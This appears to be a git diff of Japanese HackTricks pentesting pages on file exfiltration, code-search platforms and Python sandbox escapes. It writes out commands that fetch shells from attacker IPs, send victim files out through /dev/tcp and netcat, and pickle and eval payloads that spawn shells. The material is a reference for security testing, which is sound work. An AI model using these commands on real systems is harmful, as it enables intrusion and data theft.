[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,32 @@
|
|||
# 情報の外部流出
|
||||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## 情報を抽出するための一般的にホワイトリストに登録されたドメイン
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されたドメインを見つけてください。
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 情報を外部流出するために一般的にホワイトリストに登録されているドメイン
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つける
|
||||
|
||||
## Base64をコピー&ペースト
|
||||
## Copy\&Paste Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
base64 -w0 <file> #Encode file
|
||||
base64 -d file #Decode file
|
||||
```
|
||||
**Windows**
|
||||
**ウィンドウズ**
|
||||
```
|
||||
certutil -encode payload.dll payload.b64
|
||||
certutil -decode payload.b64 payload.dll
|
||||
|
@ -48,7 +40,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
|||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||||
```
|
||||
**Windows**
|
||||
**ウィンドウズ**
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||||
|
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|||
### ファイルのアップロード
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**GETおよびPOST(ヘッダーも含む)を印刷するSimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Pythonモジュール [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -123,17 +115,17 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
```
|
||||
## FTP
|
||||
|
||||
### FTPサーバー(Python)
|
||||
### FTPサーバー (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### FTPサーバー(NodeJS)
|
||||
### FTPサーバー (NodeJS)
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### FTPサーバー(pure-ftp)
|
||||
### FTPサーバー (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt
|
|||
```
|
||||
## SMB
|
||||
|
||||
Kaliをサーバーとして使用
|
||||
Kaliをサーバーとして
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
または、Sambaを使用してSMB共有を作成します:
|
||||
または、**samba**を使用してsmb共有を作成します:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -186,7 +178,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
Windowsは、データを外部に持ち出すための多くの方法を提供します。これには、ファイル転送プロトコル(FTP)、リモートデスクトップ接続、USBデバイス、電子メール、Webサービス、およびクラウドストレージが含まれます。
|
||||
ウィンドウズ
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -202,34 +194,32 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントできます。
|
||||
もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
NC(Netcat)は、ネットワーク通信を行うための便利なツールです。通常、NCはバックドアの作成やデータの転送など、悪意のある目的で使用されます。
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### 被害者からファイルをダウンロード
|
||||
### 被害者からファイルをダウンロードする
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### ターゲットにファイルをアップロード
|
||||
### 被害者にファイルをアップロードする
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
感謝 **@BinaryShadow\_**
|
||||
thanks to **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
|
@ -251,15 +241,15 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
SMTPサーバーにデータを送信できる場合、Pythonを使用してデータを受信するSMTPを作成できます:
|
||||
もしSMTPサーバーにデータを送信できるなら、Pythonを使ってデータを受信するためのSMTPを作成できます:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
XPおよび2003ではデフォルトで(他のOSではインストール時に明示的に追加する必要があります)
|
||||
デフォルトではXPおよび2003で(他のものではインストール中に明示的に追加する必要があります)
|
||||
|
||||
Kaliでは、**TFTPサーバーを起動**します:
|
||||
Kaliで、**TFTPサーバーを開始**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
|
@ -277,27 +267,11 @@ tftp -i <KALI-IP> get nc.exe
|
|||
```
|
||||
## PHP
|
||||
|
||||
PHPのワンライナーを使用してファイルをダウンロードします:
|
||||
PHPのワンライナーでファイルをダウンロードする:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### VBScript Exfiltration Techniques
|
||||
|
||||
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript:
|
||||
|
||||
1. **Writing to Files**: VBScript can write data to files on the system, which can then be transferred out.
|
||||
|
||||
2. **Sending HTTP Requests**: VBScript can send HTTP requests to an external server with the exfiltrated data embedded in the request.
|
||||
|
||||
3. **Email**: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.
|
||||
|
||||
4. **DNS Tunneling**: VBScript can encode data and send it over DNS requests to a controlled server for exfiltration.
|
||||
|
||||
5. **Executing Commands**: VBScript can execute commands to exfiltrate data through various channels.
|
||||
|
||||
By leveraging these techniques, an attacker can exfiltrate sensitive data from a target system using VBScript.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -335,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。これは、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できることを意味します。ただし、重要な点として、debug.exeには**64 kbまでのファイルをアセンブリするという制限**があることに注意する必要があります。
|
||||
`debug.exe` プログラムはバイナリの検査だけでなく、**16進数からそれらを再構築する能力**も持っています。これは、バイナリの16進数を提供することで、`debug.exe` がバイナリファイルを生成できることを意味します。ただし、debug.exe には **最大64 kbのサイズのファイルをアセンブルする制限**があることに注意することが重要です。
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
```markdown
|
||||
次に、テキストをwindows-shellにコピーして、nc.exeというファイルが作成されます。
|
||||
次に、テキストをウィンドウズシェルにコピー&ペーストすると、nc.exeというファイルが作成されます。
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -350,24 +323,17 @@ wine exe2bat.exe nc.exe nc.txt
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# 広範囲なソースコード検索
|
||||
# ワイドソースコード検索
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
このページの目的は、1つまたは複数のプラットフォームで数千/数百万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる**プラットフォームを列挙**することです。
|
||||
このページの目的は、**コードを検索できるプラットフォーム**(リテラルまたは正規表現)を列挙することです。これは、1つまたは複数のプラットフォームで数千または数百万のリポジトリにわたります。
|
||||
|
||||
これは、**漏洩情報**や**脆弱性**パターンを検索する際に役立ちます。
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。
|
||||
* [**Github Search**](https://github.com/search): Github全体を検索します。正規表現をサポートしています。
|
||||
* また、[**Github Code Search**](https://cs.github.com/)をチェックすることも役立つかもしれません。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体を検索します。正規表現をサポートしています。
|
||||
* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクト内のコードを検索します。
|
||||
* [**SourceGraph**](https://sourcegraph.com/search):数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。
|
||||
* [**Github Search**](https://github.com/search):Github全体を検索します。正規表現をサポートしています。
|
||||
* [**Github Code Search**](https://cs.github.com/)も確認するのが有用かもしれません。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html):Gitlabプロジェクト全体を検索します。正規表現をサポートしています。
|
||||
* [**SearchCode**](https://searchcode.com/):数百万のプロジェクトのコードを検索します。
|
||||
|
||||
{% hint style="warning" %}
|
||||
リポジトリ内で漏洩を探す際に`git log -p`などを実行すると、秘密情報を含む**他のコミットを持つ他のブランチ**があるかもしれないことを忘れないでください!
|
||||
リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際は、**他のコミットを含む他のブランチ**が存在するかもしれないことを忘れないでください!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,25 +9,17 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
これらは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。
|
||||
|
||||
## コマンド実行ライブラリ
|
||||
|
||||
最初に知っておくべきことは、すでにインポートされているライブラリを使用して直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです:
|
||||
最初に知っておくべきことは、すでにインポートされているライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -60,23 +52,23 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
覚えておいてください、_**open**_ と _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** のに役立ち、**バイパス**するために **実行**できる **コードを書く** のに役立ちます。
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。
|
||||
**Python2 input()** 関数は、プログラムがクラッシュする前にPythonコードを実行することを可能にします。
|
||||
{% endhint %}
|
||||
|
||||
Python は **最初に現在のディレクトリからライブラリを読み込もうとします**(次のコマンドは、python がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'`
|
||||
Pythonは最初に**現在のディレクトリからライブラリをロードしようとします**(次のコマンドはPythonがモジュールをどこからロードしているかを表示します): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## デフォルトでインストールされた python パッケージを使用して pickle サンドボックスをバイパスする
|
||||
## デフォルトでインストールされたPythonパッケージを使用してpickleサンドボックスをバイパスする
|
||||
|
||||
### デフォルトパッケージ
|
||||
|
||||
ここに **事前インストールされた** パッケージのリストがあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポート** できることに注意してください。\
|
||||
例えば、次の pickle は、読み込まれると pip ライブラリをインポートします:
|
||||
ここに**プリインストールされた**パッケージのリストがあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
pickleから、Python環境がシステムにインストールされた**任意のライブラリをインポートする**ことができることに注意してください。\
|
||||
例えば、次のpickleは、ロードされるとpipライブラリをインポートします:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -93,7 +85,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|||
|
||||
### Pipパッケージ
|
||||
|
||||
**@isHaacK**によって共有されたトリック
|
||||
**@isHaacK**によるトリック
|
||||
|
||||
`pip`または`pip.main()`にアクセスできる場合、任意のパッケージをインストールし、次のように呼び出すことでリバースシェルを取得できます:
|
||||
```bash
|
||||
|
@ -158,7 +150,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## エンコーディングを通じた保護の回避 (UTF-7)
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します:
|
||||
```python
|
||||
|
@ -175,7 +167,7 @@ return x
|
|||
|
||||
## コールなしのPython実行
|
||||
|
||||
コールを行うことが**許可されていない**Pythonジャイル内にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。
|
||||
コールを行うことが**許可されていない**Pythonの監獄内にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。
|
||||
|
||||
